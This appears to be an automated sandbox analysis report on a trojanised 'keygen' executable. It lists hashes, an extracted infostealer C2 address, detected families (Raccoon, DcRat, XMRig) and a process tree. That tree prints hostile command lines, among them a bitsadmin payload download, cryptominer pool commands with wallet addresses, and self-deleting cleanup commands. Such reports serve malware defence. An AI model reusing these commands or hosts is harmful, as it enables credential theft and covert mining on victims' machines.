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24-04-2021 20:28

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24-04-2021 19:13

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24-04-2021 19:13

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24-04-2021 06:48

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Analysis

  • max time kernel
    66s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    24-04-2021 06:48

Errors

Reason
Machine shutdown

General

  • Target

    keygen-step-4.exe

  • Size

    4.6MB

  • MD5

    563107b1df2a00f4ec868acd9e08a205

  • SHA1

    9cb9c91d66292f5317aa50d92e38834861e9c9b7

  • SHA256

    bf2bd257dde4921ce83c7c1303fafe7f9f81e53c2775d3c373ced482b22eb8a9

  • SHA512

    99a8d247fa435c4cd95be7bc64c7dd6e382371f3a3c160aac3995fd705e4fd3f6622c23784a4ae3457c87536347d15eda3f08aa616450778a99376df540d74d1

Malware Config

Extracted

Family

fickerstealer

C2

sodaandcoke.top:80

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • fickerstealer

    Ficker is an infostealer written in Rust and ASM.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • XMRig Miner Payload 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 25 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 12 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 9 IoCs
  • NSIS installer 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s WpnService
    1⤵
      PID:2804
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2788
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Browser
      1⤵
        PID:2772
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2528
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
        1⤵
          PID:2516
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
          1⤵
            PID:1848
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1388
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
              1⤵
                PID:1280
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                1⤵
                  PID:1204
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                  1⤵
                    PID:1072
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                      PID:684
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                      1⤵
                        PID:68
                      • C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe
                        "C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe"
                        1⤵
                        • Checks computer location settings
                        • Suspicious use of WriteProcessMemory
                        PID:564
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"
                          2⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:708
                          • C:\Windows\SysWOW64\rundll32.exe
                            "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                            3⤵
                            • Loads dropped DLL
                            • Modifies registry class
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:3236
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2956
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:1900
                          • C:\Users\Admin\AppData\Local\Temp\is-FPPL6.tmp\Install.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-FPPL6.tmp\Install.tmp" /SL5="$601E0,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of WriteProcessMemory
                            PID:3972
                            • C:\Users\Admin\AppData\Local\Temp\is-AVAC2.tmp\Ultra.exe
                              "C:\Users\Admin\AppData\Local\Temp\is-AVAC2.tmp\Ultra.exe" /S /UID=burnerch1
                              4⤵
                              • Drops file in Drivers directory
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Drops file in Program Files directory
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:3600
                              • C:\Program Files\Windows Defender Advanced Threat Protection\VTNGIDFQNQ\ultramediaburner.exe
                                "C:\Program Files\Windows Defender Advanced Threat Protection\VTNGIDFQNQ\ultramediaburner.exe" /VERYSILENT
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:792
                                • C:\Users\Admin\AppData\Local\Temp\is-C7P5Q.tmp\ultramediaburner.tmp
                                  "C:\Users\Admin\AppData\Local\Temp\is-C7P5Q.tmp\ultramediaburner.tmp" /SL5="$50054,281924,62464,C:\Program Files\Windows Defender Advanced Threat Protection\VTNGIDFQNQ\ultramediaburner.exe" /VERYSILENT
                                  6⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of WriteProcessMemory
                                  PID:4040
                                  • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                    "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                    7⤵
                                    • Executes dropped EXE
                                    PID:4024
                              • C:\Users\Admin\AppData\Local\Temp\d0-0adb8-b31-1a998-b4d4ec07eefe3\Fanihaeniku.exe
                                "C:\Users\Admin\AppData\Local\Temp\d0-0adb8-b31-1a998-b4d4ec07eefe3\Fanihaeniku.exe"
                                5⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2888
                              • C:\Users\Admin\AppData\Local\Temp\ac-59663-571-9e2be-1d28335710a27\Vevifypaeno.exe
                                "C:\Users\Admin\AppData\Local\Temp\ac-59663-571-9e2be-1d28335710a27\Vevifypaeno.exe"
                                5⤵
                                • Executes dropped EXE
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:4108
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\k3oisk5n.all\instEU.exe & exit
                                  6⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:2664
                                  • C:\Users\Admin\AppData\Local\Temp\k3oisk5n.all\instEU.exe
                                    C:\Users\Admin\AppData\Local\Temp\k3oisk5n.all\instEU.exe
                                    7⤵
                                    • Executes dropped EXE
                                    PID:5248
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dl112tud.vm0\md1_1eaf.exe & exit
                                  6⤵
                                    PID:6120
                                    • C:\Users\Admin\AppData\Local\Temp\dl112tud.vm0\md1_1eaf.exe
                                      C:\Users\Admin\AppData\Local\Temp\dl112tud.vm0\md1_1eaf.exe
                                      7⤵
                                      • Executes dropped EXE
                                      PID:4676
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ldmm5kkq.cj5\google-game.exe & exit
                                    6⤵
                                      PID:4124
                                      • C:\Users\Admin\AppData\Local\Temp\ldmm5kkq.cj5\google-game.exe
                                        C:\Users\Admin\AppData\Local\Temp\ldmm5kkq.cj5\google-game.exe
                                        7⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:5416
                                        • C:\Windows\SysWOW64\rundll32.exe
                                          "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                          8⤵
                                          • Loads dropped DLL
                                          PID:5656
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\omujayjk.5ou\y1.exe & exit
                                      6⤵
                                        PID:5664
                                        • C:\Users\Admin\AppData\Local\Temp\omujayjk.5ou\y1.exe
                                          C:\Users\Admin\AppData\Local\Temp\omujayjk.5ou\y1.exe
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:5108
                                          • C:\Users\Admin\AppData\Local\Temp\vSZtthsGZ4.exe
                                            "C:\Users\Admin\AppData\Local\Temp\vSZtthsGZ4.exe"
                                            8⤵
                                              PID:1900
                                              • C:\Users\Admin\AppData\Roaming\1619254083455.exe
                                                "C:\Users\Admin\AppData\Roaming\1619254083455.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619254083455.txt"
                                                9⤵
                                                  PID:4280
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\vSZtthsGZ4.exe"
                                                  9⤵
                                                    PID:5564
                                                    • C:\Windows\SysWOW64\PING.EXE
                                                      ping 127.0.0.1 -n 3
                                                      10⤵
                                                      • Runs ping.exe
                                                      PID:2856
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\omujayjk.5ou\y1.exe"
                                                  8⤵
                                                    PID:3088
                                                    • C:\Windows\SysWOW64\timeout.exe
                                                      timeout /T 10 /NOBREAK
                                                      9⤵
                                                      • Delays execution with timeout.exe
                                                      PID:3840
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dwokequu.wtp\inst.exe & exit
                                                6⤵
                                                  PID:6116
                                                  • C:\Users\Admin\AppData\Local\Temp\dwokequu.wtp\inst.exe
                                                    C:\Users\Admin\AppData\Local\Temp\dwokequu.wtp\inst.exe
                                                    7⤵
                                                    • Executes dropped EXE
                                                    PID:5224
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\engxlsor.asu\SunLabsPlayer.exe /S & exit
                                                  6⤵
                                                    PID:4276
                                                    • C:\Users\Admin\AppData\Local\Temp\engxlsor.asu\SunLabsPlayer.exe
                                                      C:\Users\Admin\AppData\Local\Temp\engxlsor.asu\SunLabsPlayer.exe /S
                                                      7⤵
                                                      • Executes dropped EXE
                                                      • Loads dropped DLL
                                                      • Drops file in Program Files directory
                                                      PID:4416
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskF852.tmp\tempfile.ps1"
                                                        8⤵
                                                          PID:4848
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskF852.tmp\tempfile.ps1"
                                                          8⤵
                                                            PID:4052
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskF852.tmp\tempfile.ps1"
                                                            8⤵
                                                              PID:2140
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskF852.tmp\tempfile.ps1"
                                                              8⤵
                                                                PID:2240
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskF852.tmp\tempfile.ps1"
                                                                8⤵
                                                                  PID:4836
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskF852.tmp\tempfile.ps1"
                                                                  8⤵
                                                                    PID:4156
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskF852.tmp\tempfile.ps1"
                                                                    8⤵
                                                                      PID:3748
                                                                    • C:\Windows\SysWOW64\bitsadmin.exe
                                                                      "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                                      8⤵
                                                                      • Download via BitsAdmin
                                                                      PID:5212
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kgsnnqip.5e5\GcleanerWW.exe /mixone & exit
                                                                  6⤵
                                                                    PID:1536
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vmydkmny.jyb\toolspab1.exe & exit
                                                                    6⤵
                                                                      PID:5808
                                                                      • C:\Users\Admin\AppData\Local\Temp\vmydkmny.jyb\toolspab1.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\vmydkmny.jyb\toolspab1.exe
                                                                        7⤵
                                                                        • Executes dropped EXE
                                                                        • Suspicious use of SetThreadContext
                                                                        PID:5932
                                                                        • C:\Users\Admin\AppData\Local\Temp\vmydkmny.jyb\toolspab1.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\vmydkmny.jyb\toolspab1.exe
                                                                          8⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Checks SCSI registry key(s)
                                                                          • Suspicious behavior: MapViewOfSection
                                                                          PID:4452
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5lv0uwz0.amb\c7ae36fa.exe & exit
                                                                      6⤵
                                                                        PID:4652
                                                                        • C:\Users\Admin\AppData\Local\Temp\5lv0uwz0.amb\c7ae36fa.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\5lv0uwz0.amb\c7ae36fa.exe
                                                                          7⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Checks SCSI registry key(s)
                                                                          • Suspicious behavior: MapViewOfSection
                                                                          PID:4864
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ducpscya.etn\app.exe /8-2222 & exit
                                                                        6⤵
                                                                          PID:5016
                                                                          • C:\Users\Admin\AppData\Local\Temp\ducpscya.etn\app.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\ducpscya.etn\app.exe /8-2222
                                                                            7⤵
                                                                            • Executes dropped EXE
                                                                            PID:6116
                                                                            • C:\Users\Admin\AppData\Local\Temp\ducpscya.etn\app.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\ducpscya.etn\app.exe" /8-2222
                                                                              8⤵
                                                                                PID:3052
                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    • Modifies data under HKEY_USERS
                                                                    • Modifies system certificate store
                                                                    • Suspicious use of WriteProcessMemory
                                                                    PID:4204
                                                                    • C:\Users\Admin\AppData\Roaming\C421.tmp.exe
                                                                      "C:\Users\Admin\AppData\Roaming\C421.tmp.exe"
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      • Suspicious use of SetThreadContext
                                                                      PID:5580
                                                                      • C:\Users\Admin\AppData\Roaming\C421.tmp.exe
                                                                        "C:\Users\Admin\AppData\Roaming\C421.tmp.exe"
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        • Checks processor information in registry
                                                                        PID:4908
                                                                    • C:\Users\Admin\AppData\Roaming\C644.tmp.exe
                                                                      "C:\Users\Admin\AppData\Roaming\C644.tmp.exe"
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      • Adds Run key to start application
                                                                      • Suspicious use of SetThreadContext
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:5692
                                                                      • C:\Windows\system32\msiexec.exe
                                                                        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w30219@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                                                        4⤵
                                                                          PID:4656
                                                                        • C:\Windows\system32\msiexec.exe
                                                                          -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w6518 --cpu-max-threads-hint 50 -r 9999
                                                                          4⤵
                                                                          • Blocklisted process makes network request
                                                                          PID:4884
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                                                        3⤵
                                                                          PID:920
                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                            ping 127.0.0.1
                                                                            4⤵
                                                                            • Runs ping.exe
                                                                            PID:5688
                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        PID:5772
                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"
                                                                        2⤵
                                                                          PID:4772
                                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                            3⤵
                                                                              PID:4936
                                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                              3⤵
                                                                                PID:5384
                                                                          • \??\c:\windows\system32\svchost.exe
                                                                            c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                            1⤵
                                                                            • Suspicious use of SetThreadContext
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:844
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                              2⤵
                                                                              • Drops file in System32 directory
                                                                              • Checks processor information in registry
                                                                              • Modifies data under HKEY_USERS
                                                                              • Modifies registry class
                                                                              PID:2800
                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                            1⤵
                                                                            • Drops file in Windows directory
                                                                            • Modifies Internet Explorer settings
                                                                            • Modifies registry class
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            PID:4132
                                                                          • C:\Windows\system32\browser_broker.exe
                                                                            C:\Windows\system32\browser_broker.exe -Embedding
                                                                            1⤵
                                                                            • Modifies Internet Explorer settings
                                                                            PID:5352
                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                            1⤵
                                                                            • Modifies registry class
                                                                            • Suspicious behavior: MapViewOfSection
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            PID:4744
                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                            1⤵
                                                                            • Modifies Internet Explorer settings
                                                                            • Modifies registry class
                                                                            PID:5232
                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                            1⤵
                                                                            • Modifies registry class
                                                                            PID:5184
                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                            1⤵
                                                                              PID:5648
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                                PID:4328
                                                                              • \??\c:\windows\system32\svchost.exe
                                                                                c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                1⤵
                                                                                  PID:2348
                                                                                • C:\Windows\system32\werfault.exe
                                                                                  werfault.exe /h /shared Global\44b625405da641a7abbc56f29670ab23 /t 2956 /p 4328
                                                                                  1⤵
                                                                                    PID:5572
                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                    1⤵
                                                                                      PID:5716
                                                                                    • C:\Users\Admin\AppData\Local\Temp\2314.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\2314.exe
                                                                                      1⤵
                                                                                        PID:5372
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 872
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:5780
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 896
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:5876
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 928
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:5112
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 976
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:6048
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 1108
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:5384
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 1148
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:5612
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 972
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:2828
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 1236
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:5312
                                                                                      • C:\Users\Admin\AppData\Local\Temp\38EF.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\38EF.exe
                                                                                        1⤵
                                                                                          PID:5704
                                                                                        • C:\Users\Admin\AppData\Local\Temp\4E0E.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\4E0E.exe
                                                                                          1⤵
                                                                                            PID:5888
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\biqgtjrr\
                                                                                              2⤵
                                                                                                PID:5292
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yyzkfgem.exe" C:\Windows\SysWOW64\biqgtjrr\
                                                                                                2⤵
                                                                                                  PID:4460
                                                                                                • C:\Users\Admin\jddufofh.exe
                                                                                                  "C:\Users\Admin\jddufofh.exe" /d"C:\Users\Admin\AppData\Local\Temp\4E0E.exe" /e5503011200000005
                                                                                                  2⤵
                                                                                                    PID:5772
                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                  C:\Windows\system32\WerFault.exe -u -p 2440 -s 1172
                                                                                                  1⤵
                                                                                                  • Program crash
                                                                                                  PID:1908

                                                                                                Network

                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                Replay Monitor

                                                                                                Loading Replay Monitor...

                                                                                                Downloads

                                                                                                • memory/68-286-0x00000178CD700000-0x00000178CD74B000-memory.dmp

                                                                                                  Filesize

                                                                                                  300KB

                                                                                                • memory/68-287-0x00000178CDE90000-0x00000178CDF00000-memory.dmp

                                                                                                  Filesize

                                                                                                  448KB

                                                                                                • memory/68-169-0x00000178CDD60000-0x00000178CDDD0000-memory.dmp

                                                                                                  Filesize

                                                                                                  448KB

                                                                                                • memory/684-178-0x0000024816010000-0x0000024816080000-memory.dmp

                                                                                                  Filesize

                                                                                                  448KB

                                                                                                • memory/684-301-0x00000248165A0000-0x0000024816610000-memory.dmp

                                                                                                  Filesize

                                                                                                  448KB

                                                                                                • memory/792-208-0x0000000000400000-0x0000000000416000-memory.dmp

                                                                                                  Filesize

                                                                                                  88KB

                                                                                                • memory/844-164-0x0000023967F30000-0x0000023967FA0000-memory.dmp

                                                                                                  Filesize

                                                                                                  448KB

                                                                                                • memory/844-133-0x0000023967E70000-0x0000023967EBB000-memory.dmp

                                                                                                  Filesize

                                                                                                  300KB

                                                                                                • memory/1072-300-0x00000207F6880000-0x00000207F68F0000-memory.dmp

